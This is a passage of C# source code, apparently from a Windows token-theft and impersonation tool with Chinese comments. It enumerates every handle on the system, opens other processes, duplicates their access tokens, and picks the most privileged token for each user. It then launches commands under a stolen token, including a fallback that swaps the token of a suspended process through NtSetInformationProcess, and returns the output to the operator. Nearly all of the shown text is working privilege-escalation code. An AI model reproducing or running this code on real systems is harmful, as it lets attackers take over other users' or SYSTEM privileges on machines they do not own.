(uint)Marshal.ReadInt32(IntegrityLevelRidPtr); Array integrityLevels = Enum.GetValues(typeof(IntegrityLevel)); for (int i = 0; i < integrityLevels.Length; i++) { uint tmpRid = (uint)integrityLevels.GetValue(i); if (IntegrityLevelRid >= tmpRid) { IntegrityLevel = tmpRid; } else { break; } } Marshal.FreeHGlobal(infoPtr); } return (IntegrityLevel)Enum.ToObject(typeof(IntegrityLevel), IntegrityLevel); } public static bool GetTokenUIAccess(IntPtr tokenHandle) { IntPtr tokenInfo = IntPtr.Zero; uint outLength = 0; bool isTokenUIAccess = false; if (NativeMethod.GetTokenInformation(tokenHandle, TOKEN_INFORMATION_CLASS.TokenUIAccess, out tokenInfo, out outLength)) { if (Marshal.ReadByte(tokenInfo) != 0) { isTokenUIAccess = true; } Marshal.FreeHGlobal(tokenInfo); } return isTokenUIAccess; } public bool CreateProcess(string commandLine, bool bInheritHandles, uint dwCreationFlags, ref STARTUPINFO startupinfo, out PROCESS_INFORMATION processInformation) { IntPtr tmpTokenHandle = IntPtr.Zero; if (NativeMethod.DuplicateTokenEx(this.TokenHandle, NativeMethod.TOKEN_ELEVATION, IntPtr.Zero, this.ImpersonationLevel, TOKEN_TYPE.TokenPrimary, out tmpTokenHandle)) { NativeMethod.CloseHandle(this.TokenHandle); this.TokenHandle = tmpTokenHandle; } else { throw new System.ComponentModel.Win32Exception(Marshal.GetLastWin32Error()); } NativeMethod.SetLastError(0); //The TokenHandle of CreateProcessWithTokenW must have TOKEN_ASSIGN_PRIMARY | TOKEN_DUPLICATE | TOKEN_QUERY | TOKEN_ADJUST_DEFAULT | TOKEN_ADJUST_SESSIONID permissions if (NativeMethod.CreateProcessWithTokenW(this.TokenHandle, 0, null, commandLine, dwCreationFlags, IntPtr.Zero, null, ref startupinfo, out processInformation)) { return true; } if (NativeMethod.CreateProcessAsUserW(this.TokenHandle, null, commandLine, IntPtr.Zero, IntPtr.Zero, bInheritHandles, dwCreationFlags , IntPtr.Zero, null, ref startupinfo, out processInformation)) { return true; } else if (Marshal.GetLastWin32Error() == 1314) { uint newDwCreationFlags = dwCreationFlags | (uint)ProcessCreateFlags.CREATE_SUSPENDED; newDwCreationFlags |= (uint)ProcessCreateFlags.CREATE_UNICODE_ENVIRONMENT; if (NativeMethod.CreateProcessW(null, commandLine, IntPtr.Zero, IntPtr.Zero, bInheritHandles, newDwCreationFlags, IntPtr.Zero, null, ref startupinfo, out processInformation)) { //init PROCESS_ACCESS_TOKEN uint PROCESS_ACCESS_TOKEN_SIZE = (uint)Marshal.SizeOf(typeof(PROCESS_ACCESS_TOKEN)); PROCESS_ACCESS_TOKEN processAccessToken = new PROCESS_ACCESS_TOKEN(); IntPtr tokenInfoPtr = Marshal.AllocHGlobal((int)PROCESS_ACCESS_TOKEN_SIZE); processAccessToken.Token = this.TokenHandle; processAccessToken.Thread = processInformation.hThread; Marshal.StructureToPtr(processAccessToken, tokenInfoPtr, false); uint status = NativeMethod.NtSetInformationProcess(processInformation.hProcess, PROCESS_INFORMATION_CLASS.ProcessAccessToken, tokenInfoPtr, PROCESS_ACCESS_TOKEN_SIZE); Marshal.FreeHGlobal(tokenInfoPtr); if (status == NativeMethod.STATUS_SUCCESS) { if ((dwCreationFlags & (uint)ProcessCreateFlags.PROFILE_USER) == 0) { if (NativeMethod.NtResumeProcess(processInformation.hProcess) != NativeMethod.STATUS_SUCCESS) { NativeMethod.CloseHandle(processInformation.hThread); NativeMethod.CloseHandle(processInformation.hProcess); NativeMethod.NtTerminateProcess(processInformation.hProcess, 0); processInformation.hProcess = IntPtr.Zero; processInformation.hThread = IntPtr.Zero; return false; } } return true; } else { NativeMethod.CloseHandle(processInformation.hThread); NativeMethod.CloseHandle(processInformation.hProcess); NativeMethod.NtTerminateProcess(processInformation.hProcess, 0); processInformation.hProcess = IntPtr.Zero; processInformation.hThread = IntPtr.Zero; } } } return false; } public void Close() { if (this.TokenHandle != IntPtr.Zero && !IsClose) { IsClose = true; NativeMethod.CloseHandle(this.TokenHandle); this.TokenHandle = IntPtr.Zero; } } public bool ImpersonateLoggedOnUser() { if (!IsClose && TokenHandle != IntPtr.Zero) { return NativeMethod.ImpersonateLoggedOnUser(this.TokenHandle); } return false; } } [StructLayout(LayoutKind.Sequential, Pack = 1)] public struct SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX { // Information Class 64 public IntPtr ObjectPointer; public IntPtr ProcessID; public IntPtr HandleValue; public uint GrantedAccess; public ushort CreatorBackTrackIndex; public ushort ObjectType; public uint HandleAttributes; public uint Reserved; } public class TokenuUils { private static readonly int tokenType = getTokenType(); public static bool tryAddTokenPriv(IntPtr token, string privName) { TokenPrivileges tokenPrivileges = new TokenPrivileges(); if (NativeMethod.LookupPrivilegeValue(null, privName, out tokenPrivileges.Luid)) { tokenPrivileges.PrivilegeCount = 1; tokenPrivileges.Attributes = NativeMethod.SE_PRIVILEGE_ENABLED; int ReturnLength = 0; NativeMethod.SetLastError(0); NativeMethod.AdjustTokenPrivileges(token, false, tokenPrivileges, 0, IntPtr.Zero, out ReturnLength); if (Marshal.GetLastWin32Error() == NativeMethod.ERROR_SUCCESS) { return true; } } return false; } public static SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX[] ListSystemHandle() { List result = new List(); uint handleInfoSize = 1024 * 1024; IntPtr handleInfoPtr = Marshal.AllocHGlobal((int)handleInfoSize); uint returnSize = 0; uint status = 0; while ((status = NativeMethod.NtQuerySystemInformation(NativeMethod.SystemExtendedHandleInformation, handleInfoPtr, handleInfoSize, out returnSize)) == NativeMethod.STATUS_INFO_LENGTH_MISMATCH) { Marshal.FreeHGlobal(handleInfoPtr); handleInfoPtr = Marshal.AllocHGlobal(new IntPtr(handleInfoSize *= 2)); } if (status != NativeMethod.STATUS_SUCCESS) { //Console.WriteLine("NtQuerySystemInformation调用失败 ErrCode:" + Marshal.GetLastWin32Error()); goto ret; } _SYSTEM_HANDLE_INFORMATION_EX handleInfo = (_SYSTEM_HANDLE_INFORMATION_EX)Marshal.PtrToStructure(handleInfoPtr, typeof(_SYSTEM_HANDLE_INFORMATION_EX)); uint NumberOfHandles = handleInfo.GetNumberOfHandles(); for (uint i = 0; i < NumberOfHandles; i++) { SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX handleEntry = _SYSTEM_HANDLE_INFORMATION_EX.HandleAt(handleInfoPtr, i); result.Add(handleEntry); } ret: Marshal.FreeHGlobal(handleInfoPtr); return result.ToArray(); } public static int getTokenType() { int ret = -1; Process currentProcess = Process.GetCurrentProcess(); WindowsIdentity windowsIdentity = WindowsIdentity.GetCurrent(); IntPtr currentThreadToken = windowsIdentity.Token; SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX[] handles = TokenuUils.ListSystemHandle(); for (int i = 0; i < handles.Length; i++) { SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX handleEntry = handles[i]; if (handleEntry.ProcessID.ToInt64() == currentProcess.Id && currentThreadToken == handleEntry.HandleValue) { ret = handleEntry.ObjectType; goto ret; } } ret: windowsIdentity.Dispose(); currentProcess.Dispose(); return ret; } public delegate bool ListProcessTokensCallback(ProcessToken processToken); public static bool ListProcessTokensDefaultCallback(ProcessToken processToken) { return true; } public static ProcessToken[] ListProcessTokens(int targetPid, ListProcessTokensCallback listProcessTokensCallback) { SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX[] shteis = ListSystemHandle(); List processTokens = new List(); IntPtr localProcessHandle = NativeMethod.GetCurrentProcess(); IntPtr processHandle = IntPtr.Zero; int lastPid = -1; for (int i = 0; i < shteis.Length; i++) { SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX handleEntryInfo = shteis[i]; int handleEntryPid = (int)handleEntryInfo.ProcessID.ToInt64(); if (targetPid > 0 && handleEntryPid == targetPid //过滤进程PID || targetPid <= 0//如果小于等于0就不过滤 ) { if (lastPid != handleEntryPid) { if (processHandle != IntPtr.Zero) { NativeMethod.CloseHandle(processHandle); processHandle = IntPtr.Zero; } processHandle = NativeMethod.OpenProcess(ProcessAccessFlags.DuplicateHandle | ProcessAccessFlags.QueryInformation, false, handleEntryPid); if (processHandle != IntPtr.Zero) { IntPtr processToken = IntPtr.Zero; if (NativeMethod.OpenProcessToken(processHandle, NativeMethod.TOKEN_ELEVATION, out processToken)) { ProcessToken token = ProcessToken.Cast(IntPtr.Zero, handleEntryPid, processHandle, processToken); if (token != null) { if (listProcessTokensCallback.Invoke(token)) { PutToken(processTokens, token); } else { token.Close(); goto end; } } } } lastPid = handleEntryPid; } if (processHandle == IntPtr.Zero) { continue; } //GrantedAccess 0x0012019f 有可能会导致堵塞 if (handleEntryInfo.ObjectType != tokenType || handleEntryInfo.GrantedAccess == 0x0012019f) { continue; } IntPtr dupHandle = IntPtr.Zero; if (NativeMethod.DuplicateHandle(processHandle, handleEntryInfo.HandleValue, localProcessHandle, out dupHandle, NativeMethod.GENERIC_EXECUTE | NativeMethod.GENERIC_READ | NativeMethod.GENERIC_WRITE, false, 0)) { ProcessToken token = ProcessToken.Cast(handleEntryInfo.HandleValue, handleEntryPid, processHandle, dupHandle); if (token != null) { if (listProcessTokensCallback.Invoke(token)) { PutToken(processTokens, token); } else { token.Close(); goto end; } } } lastPid = handleEntryPid; } } end: if (processHandle != IntPtr.Zero) { NativeMethod.CloseHandle(processHandle); } NativeMethod.CloseHandle(localProcessHandle); return processTokens.ToArray(); } private static void PutToken(List list, ProcessToken processToken) { if (processToken == null) { return; } for (int i = 0; i < list.Count; i++) { ProcessToken processTokenNode = list[i]; if (processTokenNode.UserName == processToken.UserName) { if (processToken.ImpersonationLevel > processTokenNode.ImpersonationLevel || (processToken.ImpersonationLevel >= TokenImpersonationLevel.Impersonation && processToken.ImpersonationLevel > processTokenNode.ImpersonationLevel && (processToken.TokenElevationType == TOKEN_ELEVATION_TYPE.TokenElevationTypeFull || processToken.IntegrityLevel > processTokenNode.IntegrityLevel))) { if (!processToken.IsRestricted) { processTokenNode.Close(); list[i] = processToken; } } else { processToken.Close(); } return; } } list.Add(processToken); } public static bool CreateProcess(IntPtr tokenHandle, string commandLine, bool bInheritHandles, uint dwCreationFlags, ref STARTUPINFO startupinfo, out PROCESS_INFORMATION processInformation) { TOKEN_TYPE tokenType = ProcessToken.GetTokenType(tokenHandle); bool isClose = false; bool isCreate = false; if (tokenType != TOKEN_TYPE.TokenPrimary) { IntPtr tmpTokenHandle = IntPtr.Zero; if (NativeMethod.DuplicateTokenEx(tokenHandle, NativeMethod.TOKEN_ELEVATION, IntPtr.Zero, TokenImpersonationLevel.Impersonation, TOKEN_TYPE.TokenPrimary, out tmpTokenHandle)) { isClose = true; tokenHandle = tmpTokenHandle; } } if (NativeMethod.CreateProcessAsUserW(tokenHandle, null, commandLine, IntPtr.Zero, IntPtr.Zero, bInheritHandles, dwCreationFlags , IntPtr.Zero, null, ref startupinfo, out processInformation)) { isCreate = true; }else if (NativeMethod.CreateProcessWithTokenW(tokenHandle, 0, null, commandLine, dwCreationFlags, IntPtr.Zero, null, ref startupinfo, out processInformation)) { isCreate = true; } if (isClose) { NativeMethod.CloseHandle(tokenHandle); } return isCreate; } public static void createProcessReadOut(TextWriter consoleWriter, IntPtr tokenHandle, string commandLine) { IntPtr childProcessStdOutRead = IntPtr.Zero; IntPtr childProcessStdOutWrite = IntPtr.Zero; FileStream childProcessReadStream = null; PROCESS_INFORMATION processInformation = new PROCESS_INFORMATION(); //初始化安全属性 SECURITY_ATTRIBUTES securityAttributes = new SECURITY_ATTRIBUTES(); securityAttributes.nLength = Marshal.SizeOf(typeof(SECURITY_ATTRIBUTES)); securityAttributes.pSecurityDescriptor = IntPtr.Zero; securityAttributes.bInheritHandle = true; //初始化子进程输出 if (!NativeMethod.CreatePipe(out childProcessStdOutRead, out childProcessStdOutWrite, ref securityAttributes, 8196)) { goto end; } STARTUPINFO startupInfo = new STARTUPINFO(); startupInfo.cb = Marshal.SizeOf(typeof(STARTUPINFO)); startupInfo.hStdError = childProcessStdOutWrite; startupInfo.hStdOutput = childProcessStdOutWrite; startupInfo.hStdInput = IntPtr.Zero; startupInfo.dwFlags = (int)NativeMethod.STARTF_USESTDHANDLES; NativeMethod.SetHandleInformation(childProcessStdOutRead, NativeMethod.HANDLE_FLAG_INHERIT, NativeMethod.HANDLE_FLAG_INHERIT); NativeMethod.SetHandleInformation(childProcessStdOutWrite, NativeMethod.HANDLE_FLAG_INHERIT, NativeMethod.HANDLE_FLAG_INHERIT); if (CreateProcess(tokenHandle, commandLine, true, (uint)ProcessCreateFlags.CREATE_NO_WINDOW, ref startupInfo, out processInformation)) { consoleWriter.WriteLine($"[*] process start with pid {processInformation.dwProcessId}"); NativeMethod.CloseHandle(childProcessStdOutWrite); childProcessStdOutWrite = IntPtr.Zero; childProcessReadStream = new FileStream(childProcessStdOutRead, FileAccess.Read, false); byte[] readBytes = new byte[4096]; uint bytesAvail = 0; uint BytesLeftThisMessage = 0; uint bytesRead = 0; int read = 0; while (true) { if (!NativeMethod.PeekNamedPipe(childProcessStdOutRead, readBytes, (uint)readBytes.Length, ref bytesRead, ref bytesAvail, ref BytesLeftThisMessage)) { break; } if (bytesAvail > 0) { read = childProcessReadStream.Read(readBytes, 0, readBytes.Length); consoleWriter.Write(Encoding.Default.GetChars(readBytes, 0, read)); } } } else { consoleWriter.WriteLine($"[!] Cannot create process Win32Error:{Marshal.GetLastWin32Error()}"); } end: if (childProcessReadStream != null) { childProcessReadStream.Close(); } if (processInformation.hProcess != IntPtr.Zero) { NativeMethod.CloseHandle(processInformation.hProcess); } if (processInformation.hThread != IntPtr.Zero) { NativeMethod.CloseHandle(processInformation.hThread); } if (childProcessStdOutRead != IntPtr.Zero) { NativeMethod.CloseHandle(childProcessStdOutRead); } if (childProcessStdOutWrite != IntPtr.Zero) { NativeMethod.CloseHandle(childProcessStdOutWrite); } } } }